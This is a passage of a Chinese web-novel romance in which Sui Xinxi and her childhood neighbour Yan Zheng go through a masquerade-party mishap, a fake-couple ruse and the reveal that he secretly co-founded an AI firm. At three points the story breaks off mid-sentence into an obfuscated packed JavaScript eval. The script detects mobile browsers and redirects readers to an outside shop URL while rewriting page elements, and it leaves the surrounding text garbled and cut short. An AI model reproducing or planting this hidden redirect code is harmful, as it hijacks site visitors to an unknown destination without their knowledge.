“你妈不同意,你就乖乖听话了?那她同意谁,你就得跟谁?她看中隔壁阿姨家儿子,你就得去嫁?你是独立的个体,你有权利选择你自己想要的生活,想要的人。孝顺不是愚孝!为了让你妈高兴,你就得委屈自己,跟一个你不喜欢甚至可能讨厌的男人凑合过几十年?你想想那日子,不恶心吗?” “日子是你自己过的,酸甜苦辣都得你自己尝。别让别人,哪怕是你妈,替你做这个最重要的决定”,王贤看着隋心喜眼中凝聚的光,语气温和下来,“你喜欢晏铮,就去争取。你妈那边,总有办法,可以慢慢沟通。关键是你自己得先下定决心。” 隋心喜深深地吸了一口气,又彻底地呼了出来,仿佛把这段时间的郁结和忐忑都呼了出去。 她感觉胸口那块压得她喘不过气的大石头,没那么沉了。 她的嘴角扬了扬,“你说得是有点道理。” “废话!”王贤得意地扬了扬下巴,“老子虽然情路坎坷,但看别人的事儿门儿清!” 隋心喜笑了,有点不好意思,“那我该怎么办?直接找他说清楚?” “啧!急什么!”王贤大手一挥,一副“包在我身上”的架势,“这种事,讲究氛围,讲究水到渠成。哪能跟个愣头青似的直接冲上去。” 他摸着下巴,眼珠子滴溜溜地转,“这事交给我,我策划一下,让他主动。你就等着我的好消息吧!” 27. 第 27 章 半个月后是王贤的生日,他喜欢热闹,又想助攻好友,特意包下酒吧举行了一场假面派对。 隋心喜下班后换好衣服,匆匆赶赴现场。 她推开酒吧的门,眼前光怪陆离的景象让她有点发愣。 音乐轰隆炸着地板,震得脚底板发麻。 整个场子像打翻了的颜料桶,红的假发、绿的皮裙、金的亮片、羽毛、纱巾……挤挤挨挨地扭动着。 每个人脸上都罩着面具,猫脸的、骷髅的、镶嵌羽毛的、涂满油彩的,谁也看不清谁。 王贤戴着夸张的金色威尼斯面具,正在舞池里摇头晃脑。 隋心喜过去喊了他一声,他拨开人群,带着她坐到角落卡座里。 他上下打量着隋心喜,“啧啧啧,我的姐!让你变装,你真就只变个‘装’啊?咱说好的性感小野猫呢,你怎么就穿个女巫袍子来了?” 按照王贤的计划,今晚的目标是要逼晏铮亲口说出心意,隋心喜哪有心思琢磨这些花里胡哨的。 她没好气地瞪了他一眼,“闭嘴吧你,我现在心都要跳出嗓子眼了。” “就知道你紧张得跟高考似的。瞧瞧,我多贴心”,王贤指了指自己金光闪闪的面具,又点点隋心喜脸上那个覆盖了大半张脸的银色羽毛面具,“面具一戴,谁也看不见你脸红得像猴子屁股,怕啥?” 隋心喜没吭声,眼神不由自主地飘向酒吧门口。 王贤顺着她的目光也扫了一圈人头攒动的舞池,问:“哎,你家弟弟呢?主角别怂得不敢来了吧?” “他说学校还有点事要处理,应该迟点就到。”话刚出口,隋心喜的视线就黏在了一个刚踏进来的身影上。 那是个高大的男人,一身深蓝色的民国军装,衬得身形格外挺拔。 他戴着纯黑色的半脸面具,只露出紧抿的薄唇和线条利落的下颌。 他没戴假发,黑发梳理得一丝不苟。 这身军阀少爷的装扮,在一群颜色爆炸、造型诡异的妖魔鬼怪里,格外抢眼。 隋心喜以手肘碰了碰王贤,声音有点颤,“晏铮来了。” 王贤立刻来了精神。他在隋心喜后背用力推了一把,“你赶紧上,按照计划行事!” 隋心喜毫无准备地被推离卡座,跌跌撞撞往前走了几步才站稳。 晏铮此时已经来到了舞池边缘。隔着那些戴面具的男男女女,隋心喜觉得他的视线在她身上停顿了一瞬。 她深吸好几口气,几乎是用挪的,穿过几个扭动的“外星人”和“中世纪骑士”,站到了晏铮面前。 她把心一横,僵硬地朝他伸出了手,掌心全是汗。 晏铮的目光落在她面具上,又缓缓移到那只微微发抖的手。 面具遮蔽了他大部分表情,只有紧绷的下颌泄露出一丝讶异。 就在隋心喜觉得手臂酸麻、几乎要缩回来时,晏铮那只骨节分明的手包裹上来,将她带入了舞池涌动的人潮中心。 在变幻的灯光中,晏铮一手扶住隋心喜的后腰,一手托着她的手。手心滚烫的温度,清晰地传递了过来。 隋心喜学过一点交谊舞,但此刻脑子里一片空白,只得机械地随着他的引领移动脚步。 两人贴得很近,她的额头几乎要碰到他的下巴。她能感觉到他胸膛平稳的起伏,与她胸腔里那只疯狂蹦跶的小鹿形成鲜明对比。 晏铮的目光透过黑色面具的孔洞,沉沉地落在她脸上。 他跳得游刃有余。那只放在她后腰的手,力道收放得刚好,既不会让她觉得冒犯,又牢牢地将她圈在他的控制范围内。 时间在紧密的肢体接触中,变得粘稠而漫长。隋心喜觉得自己快窒息了。 突然,整个世界陷入伸手不见五指的黑暗。 震耳欲聋的音乐戛然而止,人群骤然爆发出阵阵惊呼。 因为王贤早就通过气,隋心喜倒没有怎么惊讶,只是按照他的“教学”,硬着头皮环抱住了晏铮。 可还未等她有下一步动作,旁边就有人撞了过来,她短促地“啊”了一声,茫然地抬起头,嘴唇刚好落在了晏铮的嘴角。 但这在不明所以的晏铮看来,就是她主动亲吻了自己一下。 他的脑子瞬间炸开了。他抽离了双手,在黑暗的掩护之下,头也不回地匆匆离场。 一分钟后,灯光重新笼罩了整个空间。 音乐再次响起,人群惊魂未定地抱怨着,整理着被挤歪的面具和衣服。 隋心喜独自站在原地,呆呆地像一个断电的玩偶。 王贤穿过还在混乱中的人群,将她拉到一边。他扫视四周,没看到那个深蓝色的身影,“晏铮呢?刚才停电时的计划成了没?他什么反应?” 隋心喜摘下面具,缓慢地抬起头。她的眼神空茫茫的,几秒钟后,大颗的泪珠滚落出来,“他推开我,走了。” 王贤傻眼了,赶紧扶住她有点摇晃的肩膀:“怎么会推开?是不是太突然,吓到了?还是……” “不是啊”,隋心喜摇摇头,更多的泪水落下,“之前那次他偷亲我,肯定就是一时冲动,觉得好玩……只有我这个傻子当真了,还巴巴地贴上来自取其辱……他一定讨厌我了,才会走人……” 王贤扶着瘫软下去的好友,手忙脚乱又茫然无措。 晏铮那小子脑子里到底装了什么? 计划得好好的,停电、意外接触、感情升温……怎么变成这样了? “别哭别哭,心喜,别哭啊”,他拍着她的背,安慰道:“这中间肯定有误会!或者这小子刚才没认出你?戴着面具呢!” 隋心喜捂着脸,蜷缩着肩膀,声音破碎,“他肯定认出来了。他看我的眼神,和平时一模一样……” 王贤看着哭得快背过气去的隋心喜,再看看晏铮消失的方向,头大如斗。 他低声咒骂了一句,用力把隋心喜往上拽,“这样,我先送你回家?你两先冷静几天,回头我再揪住那小子问清楚。” —————————— 酒吧后巷里,一盏坏掉的路灯明明灭灭,照不亮多少地方。 晏铮背靠着布满涂鸦的砖墙,微微仰着头。 他摘下面具,从烟盒里抽出一支烟,叼在唇间,手指按上火机滚轮。 可试了好几次,火星只是虚弱地溅出又熄灭。他骂了一句,摔了打火机。 酒吧里嘈杂的音乐和人声仿佛还在耳朵里嗡嗡响,但更响的是黑暗降临那一刻,温热的身体扑过来贴紧他,还有唇边那一下短暂的触碰。 认出来了吗?她当时……认出是他了吗? 晏铮脑子里像塞了一团乱麻,理不出个头绪。 要是认出来了,隋心喜还会那么主动? 不可能。他认识她十几年了,她不是这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他出去一看,隋心喜已经穿戴整齐准备出门。 他忍不住开口,“姐,今天还出去?” 隋心喜应了一声,“和王贤约了逛街,可能要晚点回来,你不用等我。” “王贤生日才过,又聚?”晏铮的话音里,已经带上了浓浓的酸意。 “他回国事情多,陪他买点东西”,她没敢看他,拉开门,“走了啊。” 晏铮站在客厅中央,听着那脚步声迅速消失在楼道里。 他走到阳台,那里有个小圆凳是他平时抽烟的地方。 他习惯性地去摸放在架子上的烟灰缸,最后却是在储物柜角落里发现了它。 她把烟灰缸收起来了?是嫌味道难闻?还是单纯不想看到,任何与他习惯相关的痕迹? 晏铮看着烟灰缸,又想起巷子里那根怎么也点不着的烟。 他掏出烟盒倒出一根。这次打火机很争气,一下就着了。 他狠狠吸了一口,辛辣的烟雾涌进肺里。 他看着灰蒙蒙的天,心里残存的火星,被隋心喜这几天彻头彻尾的躲避浇灭了。 28. 第 28 章 火锅店里人声鼎沸,空气里全是牛油锅底浓烈霸道的香味,混着各种肉菜下锅的滋啦声。 今天是富邦科技项目部的小聚餐,十来个人挤在一张大圆桌边,筷子勺子碰得叮当响。 “隋隋,再下点虾滑,快点快点,锅都滚半天了”,王雪隔着蒸腾的热气,把一盘粉嘟嘟的虾滑推到隋心喜面前。 隋心喜有点走神,脑子里还转着下午没改完的流程图。 王雪用手肘捅了捅她:“喂,跟你说话呢,发什么呆啊。” “啊?你说什么?”隋心喜回过神,赶紧把虾滑拨拉进翻滚的红汤里。 “我说”,王雪凑近了些,压低声音,“你跟你那‘弟弟’,最近咋样啦?上次他来公司楼下,可把咱部门那帮单身汪羡慕坏了。” 隋心喜捏着筷子的手指紧了紧。酒吧那晚之后,她整个人都蔫了,躲着晏铮,两人连话都说不上几句。 公司这茬,她压根忘到九霄云外去了,同事们还都当她真和晏铮是一对呢。 隋心喜觉得脸有点热,可能是火锅烤的,她赶紧喝了口酸梅汤,开始解释:“其实吧,那天的事情不是……” “哎哟!快看快看!”王雪突然眼睛一亮,兴奋地拍着她的胳膊,压根没听清她后面的话。 她激动地指向店门口刚进来的一群人,“说曹操曹操就到啊,那不是你家那位吗,还带着朋友呢!” 隋心喜的心猛地一跳,顺着王雪指的看过去。 晏铮今天穿着件黑色的风衣,衬得人肩宽腿长。他正侧头跟旁边的人说着什么,身后还跟着五六个人,有男有女,都挺年轻,一看就是下班后直接过来的。 隋心喜认得他们,都是常尔科技的员工。大家在同一个写字楼上班,搭电梯时低头不见抬头见。 晏铮一行人在服务员的引导下,在离他们这张大桌的斜对角落了座。 常尔销售部的刘付芙,理所当然地坐在了晏铮旁边。她贴着他的手臂,正仰着脸跟他说笑。 晏铮没什么特别的表情,听着,偶尔点个头,或者简短地回一句。 但刘付芙的存在感实在太强了。她今天穿了件紧身的酒红色针织衫,衬得皮肤很白,大波浪卷发加上复古红唇,就像一团移动的火焰。 王雪在旁边用力地啧了一声,不爽道:“那女的谁啊?隋隋,这你能忍?赶紧过去宣示主权,让她看看谁才是正牌女友!” “算了吧”,隋心喜的声音有点发涩。她低下头,用筷子机械地戳着碗里一块煮老的鸭血,“他们同事聚餐呢,我过去干嘛,再说他也没看见我。” “哎呦我的隋大组长!”王雪恨铁不成钢地瞪着她,简直要跳脚,“你平时工作雷厉风行那股劲儿呢?你看看那女的,人家都骑脸输出了!晏铮弟弟那么帅,又是潜力股,你不看紧点,小心被人撬走了哭都没地方哭去,快去!” “真不用了王雪,太尴尬了,而且……”她咬了咬下唇,酒吧被推开的一幕又清晰起来,心里的酸涩再次翻涌,“人家说不定根本不想看见我。” “你呀!”王雪被她这怂样气笑了,也懒得再劝说。 她干脆利落地放下筷子,一把抓住隋心喜的手腕,“跟我走!” 隋心喜猝不及防,被王雪从座位上拽了起来。 她手忙脚乱地差点带倒自己的杯子,引来同事们好奇的目光。 王雪可不管这些,拖着她就往晏铮那桌走。 “哟,晏铮弟弟,这么巧啊!”王雪嗓门洪亮,带着自来熟的热情。 常尔那桌的喧闹声,瞬间停了下来。 晏铮也抬起头。他看到隋心喜,眼内掠过波动,“跟同事吃饭?” 刘付芙红唇勾起弧度,带着隐隐的敌意,目光在隋心喜和晏铮之间扫了个来回。 王雪仿佛没察觉到尴尬气氛,手上暗暗用力,把隋心喜往晏铮那边推,“正好,我们也在那边聚呢。来来来,隋隋你坐这儿!” 她不由分说地把隋心喜按在了晏铮另一边的位置。那本来是留给上菜通道的,有点挤,但勉强能坐。 刘付芙蹙了一下眉头,随即嘲弄般笑笑:“幸会啊隋组长。怎么,你们也认识我们小晏?” “何止认识”,王雪没给隋心喜开口的机会,抢着大声宣布,“她可是晏铮的女朋友!” 空气仿佛凝固了,常尔的几个人眼神都微妙起来。 隋心喜只觉得一股热血冲上头顶,脸上火辣辣的。 她张了张嘴,想告诉王雪别这样说。可她刚抬头,就对上了刘付芙那双充满挑衅的眼睛。 刘付芙拨了拨头发,轻笑出声:“女朋友?我怎么瞧着不像啊。有些人可别自作多情,拿着别人的客气当男朋友的关心,热脸贴冷屁股啊。” 她斜睨着隋心喜,又说:“退一万步讲,就算是男女朋友又怎么样,这不还没结婚么,法律都不承认。年轻人嘛,变数大着呢,一切皆有可能,你说是吧,小晏?” 这话太毒了,扎在隋心喜最敏感的地方。 她想反驳,但一时竟不知道怎么回嘴。她只能用力捏着大腿内侧,强迫自己不要失态。 王雪也被这毫不留情的嘲讽噎了一下,气得脸都青了。 桌子的气氛降到了冰点,常尔科技的其他人都有些尴尬地移开目光或者假装喝水。 晏铮则始终没有表态,他垂着眼睑在发信息。 就在刘付芙洋洋得意之时,她的手机屏幕亮了。她拿起来看了一眼,不耐烦地打字回复。 几秒钟后,她站起身,带着点遗憾对桌上的人说:“不好意思啊各位,人事部叫我回去一趟,我得马上走了。” 临走前,她再瞥了一眼隋心喜,嘴角勾起胜利者的微笑。 刘付芙的高跟鞋声远了,隋心喜觉得自己也没有再待下去的必要。 她下意识地就要逃离这个让她难堪到极点的地方,可肩膀刚动,晏铮的手臂就从旁边伸过来,将她整个圈在怀里。 下一秒,他微微低头,一个轻柔又温暖的吻,落在了她的额间。 隋心喜整个人石化在原地。 她的心里掀起了滔天巨浪,那一小块皮肤变得滚烫,热度迅速蔓延到她的脸颊、耳朵,乃至全身。 晏铮的手臂紧了紧,把浑身僵硬的隋心喜又往自己怀里带了带。 他的嘴角勾起一个无奈又纵容的笑容,“我女朋友脸皮薄,容易害羞。刚才看见你们在那边,我就知道她肯定不好意思和我打招呼。我们之前说好的,在公司附近尽量低调点,所以我也没过去。” 隋心喜回过神来,配合着“嗯”了一声,声音小得像蚊子叫。 这个回应,在旁人看来,简直就是害羞到极致,并且默认了晏铮所有说辞的铁证。 桌上不知道是谁发出了一声恍然大悟的长叹,随后同事们都纷纷笑了起来, “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602798|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎呀,晏铮你这也太护着了,低调得我们都不知道!”一个男同事笑着打趣。 “就是就是,隋组长也太害羞了,这有啥不好意思的嘛!”另一个女同事附和道。 还有人对着王雪努努嘴,“看看人家小情侣,多甜蜜啊!” 王雪脸上的不爽早就一扫而空,取而代之的是满满的兴奋和“磕到了”的姨母笑。 —————————— 隋心喜和晏铮一起到家。她换好鞋子就往浴室方向走,“我先去洗个澡,身上感觉有油烟味。” “等一下”,晏铮叫住她。 隋心喜深吸一口气,慢慢转过身,“怎么了?” 晏铮还站在玄关的阴影里,黑暗模糊了他的五官,却让声音里的紧绷感更加清晰,“姐,你是不是讨厌我了?” “没有啊,胡说什么呢!”隋心喜反驳地有点急,反而显得心虚。她懊恼地抿了下唇。 “那这几天,为什么又在躲我?”晏铮往前迈了一步,目光锐利,“别和我说,你喜欢玩猫抓老鼠的游戏。” “真的没有”,隋心喜能感觉到晏铮身上散发出的那种低气压,像暴风雨来临前的闷热。 她扯起了各种理由,唯独眼神飘忽着不敢直视他。 晏铮看着她躲避的姿态,用力咬着唇边的细肉,似乎在极力控制着什么。 沉默在两人之间蔓延,只有墙上挂钟秒针走动的细微声响,敲在紧绷的神经上。 过了好一会儿,晏铮才再次开口,“行,我知道了……就算你没躲我,你今天也看见了,那个刘付芙……还有之前公司里,也有人总是打听我有没有女朋友。这种事挺烦的。” 他观察着她的反应,补充道:“要不,我们继续假扮情侣吧?挡掉那些不必要的桃花,对你对我都挺好。” 晏铮的话,像一盆冷水浇在了隋心喜的头上。 原来,今晚那些若有似无的暧昧,那些让她心跳加速的瞬间,都是可以利用的工具,都是为了解决他的困扰。 这已经足够能解释,为什么他会在派对上推开她了。 或许刘付芙说的没错,所有事情只是她一厢情愿。 那些被晏铮亲吻的甜蜜泡泡破灭了,只剩下酸涩的泡沫。 委屈夹杂着怒火直冲头顶,隋心喜的声音大了起来,“晏铮!你把我当什么了?利用我帮你挡掉那些追求者?你知不知道这很……” 她哽了一下,“自私”一词在舌尖滚了滚,终究没忍心出口。 晏铮完全没想到隋心喜的反应会如此激烈,他看着她通红的眼眶,“我不是那个意思……” 隋心喜努力调整着呼吸,把即将决堤的眼泪压回心底,语气冰冷起来:“晏铮,我再说一遍,我不想再配合你演戏了!” 她说完,立即转过身,一把拧开浴室的门把手。 门被她用力关上,震得门框都作响,紧接着是反锁的声音。 晏铮的心脏像是被那扇门夹了一下,传来一阵尖锐的闷痛。 他只是受不了她躲着自己,想找个借口靠近她啊。 他借着“挡桃花”这个看似合理的由头,维持住“情侣”这个亲近的身份。 他甚至怀着一点点卑微的希望,也许假戏做着做着,就成真了呢? 可现在,他明白了。 她拒绝了他。 不是拒绝假扮情侣这件事,而是拒绝了他这个人。 29. 第 29 章 隋心喜把包放在工位上,整个人像没骨头一样瘫进椅子里。 昨晚跟晏铮那场莫名其妙的“争吵”,让她一宿没睡踏实。 “哟,隋隋,昨晚战况挺激烈呗?”王雪滑着椅子就凑过来了,“瞧你这蔫的,跟被霜打了似的。晏铮弟弟的体力很可以哇。” 隋心喜揉了揉太阳穴,她一点也不想应付这种玩笑。 现在误会像滚雪球,越滚越大,再不踩刹车,指不定又传出什么离谱的话。 她强撑着坐直了些,语气硬邦邦的:“王雪,什么激烈不激烈。我跟晏铮,根本就不是你们想的那样。” 王雪一脸信你才怪的表情:“大家都知道了。昨天聚餐,搂得那叫一个紧,眼神黏你身上都撕不下来。哎哟喂,齁甜齁甜的。” “假的!”隋心喜声音拔高了点,引得周围几个同事都侧目过来。 她赶紧压低声音,无奈道:“你还记得木万妮来我们楼下那次吗?她当时乱嚷嚷,我俩是为了堵她的嘴,才假装说是情侣的。其实我俩真就是邻居,从小一块长大的姐弟,没别的。” 空气安静了几秒,王雪夸张地倒抽一口凉气,“我的老天爷!我王雪八卦是八卦,可我这双眼睛,看人贼准!你说你俩是假的?打死我都不信!” “晏铮看着你,眼里的光都快溢出来了,那是男人看心爱女人的眼神。还有你,你以为你藏得好?你眼睛里的东西,跟他一模一样!你俩那气场,骗得了谁啊?” 隋心喜被王雪噼里啪啦一通抢白怼得有点懵,反驳道:“我没有……” “没有个屁!”王雪翻了个白眼,动作麻利地掏出手机,手指在屏幕上划拉得飞快,“我就知道你不认账,幸好我有证据!昨天聚餐,我坐你们斜对面,看得真切,我偷偷拍了好几张。” 她终于翻到了照片,把手机屏幕杵到隋心喜眼前,“喏,你自己看看你这个弟弟,是怎么看姐姐的!” 画面里,晏铮侧着头,目光正落在隋心喜的脸上。 他嘴角挂着笑意,眼神专注地像周围的嘈杂都成了背景板。 隋心喜盯着那张照片,瞳孔微微放大,呼吸都忘了。 晏铮看她的眼神,竟然是这样的? 她自己,真的也在用同样的眼神看他吗?她不知道。 王雪得意洋洋,觉得自己简直是福尔摩斯附体,“就这,你跟我说只是邻居姐弟?隋隋,你俩要是假的,我把手机吃了!” 她笑嘻嘻地推了隋心喜一下,“你脸好红啊,醒醒!” 隋心喜回过神来,抓起桌上的水杯,掩饰性地灌了一大口:“我去下洗手间。” 她落荒而逃,脑子里依旧乱乱的,交叉播放着那张照片和两人昨晚的不快。 洗手间的门不知道什么时候被锁住了,上面贴着一张告示: 【紧急通知:本层洗手间管道故障,暂停使用。如需使用,请前往一楼大堂东侧洗手间。带来不便,敬请谅解!】 隋心喜烦躁地理了理头发,只好转身走向电梯间。 行吧,下去走走,正好冷静一下脑子。 一楼洗手间很大,里面静悄悄的,只有她一个人。 她拉开最里面的一个隔间门,刚在马桶上坐下,外面就传来了两个女人叽叽喳喳的说话声。 “哎哟,累死我了,开个早会坐得腰酸背痛。” “可不是嘛,老板要求真多。诶,你听说了没?今天早上的大新闻,关于刘付芙的。” 隋心喜本来没在意。但刘付芙的名字,让她立刻竖起了耳朵。 “你不知道吧?”第一个说话的女声是常尔人事部的肖晓燕。她幸灾乐祸地笑笑,“刘付芙被开了,昨天晚上就定好的事。今天一大早,流程走得飞快,老板亲自来我们部门督办的。” 另一人是技术部门的石垭虞。她满是震惊:“真的假的?刘付芙不是我们公司现在的门面担当吗?老板怎么下得了手,她业绩也没那么差吧?” 肖晓燕嗤笑一声,“那些都没用,关键是她昨晚那张嘴,惹祸了!” “昨晚怎么了,他们不是一群人出去吃饭吗?”石垭虞好奇道:“我看她最近追晏铮追得挺紧的,这事和他有关么?” 肖晓燕给石垭虞竖起了大拇指,“你这直觉对了!刘付芙就是太把自己当回事了,我听说啊,她好死不死地,碰上了晏铮的女朋友。” “啊?”石垭虞想了想,“晏铮女朋友好像也在我们这个楼上班,是富邦科技的吧?” “对啊!刘付芙那个性子你又不是不知道,心高气傲的。她一直觉得晏铮对她还行,估计也看他女朋友像闷葫芦,普通职员一个好欺负,就上去挑衅了。然后啊,饭局都没过半,老板就通过我们人事部把她喊回来了。今天就收拾包袱走人了。” 石垭虞倒吸一口凉气,“她就因为昨天晚上说了几句话?储总也太狠了吧?他平时看着挺随和啊!” 肖晓燕的语气神秘兮兮起来,“你以为真是储总下的死手?他最多算个执行人。” “不然呢?那还能有谁?” “你呀,消息太不灵通了!储总是大老板没错,但你知道,晏铮为什么总能跟着储总出去应酬吗?你以为他只是个能力超强的实习生?” “他不是储总特别看重的实习生吗?能力确实强啊……”石垭虞显然没跟上思路。 肖晓燕笑了笑,“才不呢,晏铮跟我们储老板,是生意伙伴呐!” 隔间里的隋心喜,怀疑自己耳朵出了问题。 晏铮和储嘉骐是合伙人? 这怎么可能? 他才大四啊,他去常尔不是实习吗? 洗手台前的石垭虞也是难以置信,“开什么国际玩笑?常尔是储总的啊,晏铮才多大?” 肖晓燕抛出了更大的炸弹,“他两在外面,还有一家公司,搞人工智能的。好像叫什么……维恒,你听过吗?” 隋心喜瞪大了眼睛,及时捂住嘴巴,才没有让自己惊呼出声。 维恒人工智能,是最近两年才成立的公司。 短短的时间内,它在行业里异军突起,凭借几个创新算法和成功的商业化案例声名大噪,被无数媒体报道,估值像坐火箭一样飙升。 就连富邦科技内部开会,管伟都多次提及维恒。他提醒大家打起十二分精神,因为维恒是个强劲的对手。 隔间外,那两个八卦的女同事似乎补完了妆,又惊叹唏嘘了几句刘付芙的倒霉和晏铮的深藏不露。 伴随着高跟鞋的咔哒声,她们推门出去了,洗手间里又只剩下隋心喜。 她脑子里反反复复只有一个疑问:晏铮创业成功,为何要瞒着自己? —————————— 今天是江市的新技术招商大会,隋心喜和王雪代表富邦科技参加。 展厅里,隋心喜杵在“云端互联”的展台边上,目光穿过涌动的人潮,落在展厅另一头那个穿深灰色西装的身影上。 王雪胳膊肘拐了她一下:“喂,我听人家说,那边跟主办方陈总谈笑风生的,是维恒的幕后大老板。你这弟弟男友才二十二吧,真是人不可貌相!你啊,是不是准备退休做富太太啦?” 隋心喜没有接话,她看到晏铮旁边站了个秘书模样的男人。 那人微微弯腰,双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602799|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手递过一份文件,晏铮没抬眼,伸手接了。 他还对男人说了句什么,男人立刻很恭敬地点头,快步走向展台后方。 晏铮举手投足间的掌控感,是隋心喜全然陌生的,她一时间难以将他和那个赖在出租屋不肯走的大学生联系在一起。 她叹了口气,对王雪道:“我出去透透气。” “这就走啊?”王雪正看到兴头上,“再待会儿呗,你家晏铮还没看见你呢!” “这里人太多了,闷得不舒服”,隋心喜丢下这句,直直走向展厅侧门。 安全通道的防火门被她推开又关上,外面鼎沸的人声也被隔绝了,空气凉了下来。 隋心喜顾不得形象,坐在楼梯间,双手撑着腮。 为晏铮高兴吗?当然有。 可那股子被蒙在鼓里的酸涩,又像藤蔓一样缠着高兴劲,勒得她喘不过气。 她也说不清楚,自己在他眼里,到底是什么样的存在。 过了一会,一阵急促的脚步声从楼梯上方冲下来。 隋心喜抬起头,就看到了小跑下楼的晏铮。 他的西装外套解开了扣子,额角的碎发有点被汗水打湿了,刚才在展厅里游刃有余的沉稳荡然无存,此刻的眼神就像受了惊的鹿。 他喘着粗气在她面前停下,喊了一声“姐”。 隋心喜站起来,没有说话。 晏铮更慌了,往前跨了一大步。他想去抓她的胳膊,伸到一半又僵在半空。 “姐,你刚才看到了是不是?我不是故意隐瞒你的,最早最早我参加的就是个大学生瞎捣鼓的项目,储嘉骐说可以试着投点钱玩玩。那时候谁能想到真能成,连个水漂都未必打得起来。我没告诉你,是不想让你跟着瞎操心。” 他抹了一把汗,很是着急:“到后来,事情堆起来了,融资、团队、技术落地……我就想拿出点像样的东西来,等你哪天逛商场,突然看到维恒的广告牌……我想给你个惊喜,也想让你为我骄傲一次!我要让你知道,当年那个只会给你添麻烦的小屁孩,他长大了!” 晏铮一口气说完,急促的呼吸也慢慢平复,只剩下抑制不住的细微颤抖。 他垂下眼,盯着自己无所适从的手,像是在等待最后的审判。 隋心喜看着他。看着他额角未干的汗,看着他扯开的领口,看着他眼底那片因为恐惧失去而汹涌的暗流。 她尤记得当年的阴雨天,他抱着骨灰盒被贪婪的亲戚包围时,他的眼里,也曾闪过同样破碎的光。 那股被欺骗的恼火,忽然就被这片潮湿的阴影浇灭了。 她清了清嗓子,开口:“那么大声干什么?楼道里有回音。” 晏铮喉咙发紧,只挤出一个字,“我……” “你急什么,慢慢说”,隋心喜打量着他,“你今天穿这么板正,跑起来不方便吧?当老板了,更得注意形象。” 没有预料中的质问,这话更像是关心。 晏铮有点懵,像个程序处理不了宕机指令的机器人,笨拙地扣好衣服。 隋心喜看着他手忙脚乱的样子,那个在展位上掌控全局的维恒老板形象轰然崩塌,碎片后面露出来的,依旧是那个在她面前会紧张失措的少年。 心里最后一点芥蒂,像阳光下的薄冰,悄然融化干净。 “行了,你回去工作吧”,她牵了牵嘴角,“我明天没有什么事情,可以做饭。如果你也不用加班,早点回家,我们庆祝一下。” 这句话像投入潭里的石子,在晏铮心底激荡开圈圈涟漪。 他喉结重重地滚动了一下,脸上也绽开一个带着傻气的笑容。 30. 第 30 章 隋心喜围着围裙在厨房里忙得团团转。 锅里蒸着大螃蟹,滋滋冒着热气;水池子里养着活蹦乱跳的虾,正等着下锅白灼;案板上,鱿鱼圈裹好了淀粉,准备过油;旁边还有一大盘炒得油亮的贝壳,香味直往客厅飘。 “晏铮,别工作了,过来尝尝咸淡”,隋心喜探出头喊了一声。今天周末她啥也没做,就捣鼓这一桌子海鲜了。 晏铮本来也没心思工作,眼神总忍不住往厨房瞟。 听到喊声,他立刻扔下鼠标,几步就凑到了厨房门口,“好香啊!” 隋心喜用筷子夹起一小块刚出锅的鱿鱼圈,吹了吹,自然地递到他嘴边,“尝尝,咸了还是淡了?” 晏铮张嘴接了,嚼了两下。 其实就是家常菜的味道,但他觉得特别好,“你都可以开店了。” 隋心喜满意地笑笑,又开始指挥,“去把桌子收拾一下,碗筷摆好,其它菜马上都好了。” 饭桌上很快就满满当当,空气中全是海鲜的鲜味。 隋心喜自己没怎么动筷子,一直给晏铮夹。 “多吃点这个螃蟹,你看这蟹黄,多满!”她掰开一只肥硕的母蟹,挖出里面橙红的蟹黄,堆在晏铮碗里,“快吃快吃,凉了就腥了。” “你自己也吃啊”,晏铮看着碗里堆起来的食物。 “我吃着呢”,隋心喜象征性地夹了个虾,“你天天用脑要多点蛋白质,专门给你补的。” 晏铮感觉自己像个填鸭的容器,隋心喜不停的夹,他就不停的吃。 他其实不算饿,但看着她期待的眼神,拒绝的话根本说不出口。 于是他来者不拒,一边吃一边跟她聊公司的一些事,桌上的气氛很好。 吃到最后,晏铮感觉自己胃里塞得快没缝了。 他看着桌上那堆成山的蟹壳虾壳,放下筷子,“真饱了,吃不下了。” 隋心喜又夹了个扇贝放他碗里,“这个蒜蓉粉丝特别香,最后一口。海鲜不能过夜,不吃了也只能丢掉。” 晏铮有点无奈,但还是拿起来解决了。 吃完他感觉胃里有点沉甸甸的,不太舒服。他没在意,以为是吃太撑了。 隋心喜又给他盛了碗海鲜豆腐汤,“喝点汤顺顺。” 晏铮实在不想拂她好意,端起碗咕咚咕咚喝了大半碗。 可没过多久,肚子里隐约传来一阵拧着的疼。 晏铮蹙了下眉,没吭声,想着可能是岔气了,缓缓就好。 他靠在椅背上,想歇会儿。但是,那疼痛没消停,反而越来越明显。 冷汗开始从他额头渗出来,他使劲按着腹部,想压住绞痛。 “怎么了?”隋心喜看他脸色不对,“撑着了?” “有点……胃疼”,晏铮吸了口凉气,忍着没说疼得厉害。 隋心喜立刻站起来,“我去给你倒杯温水。” 她刚转身进厨房,就听见客厅椅子一声响。 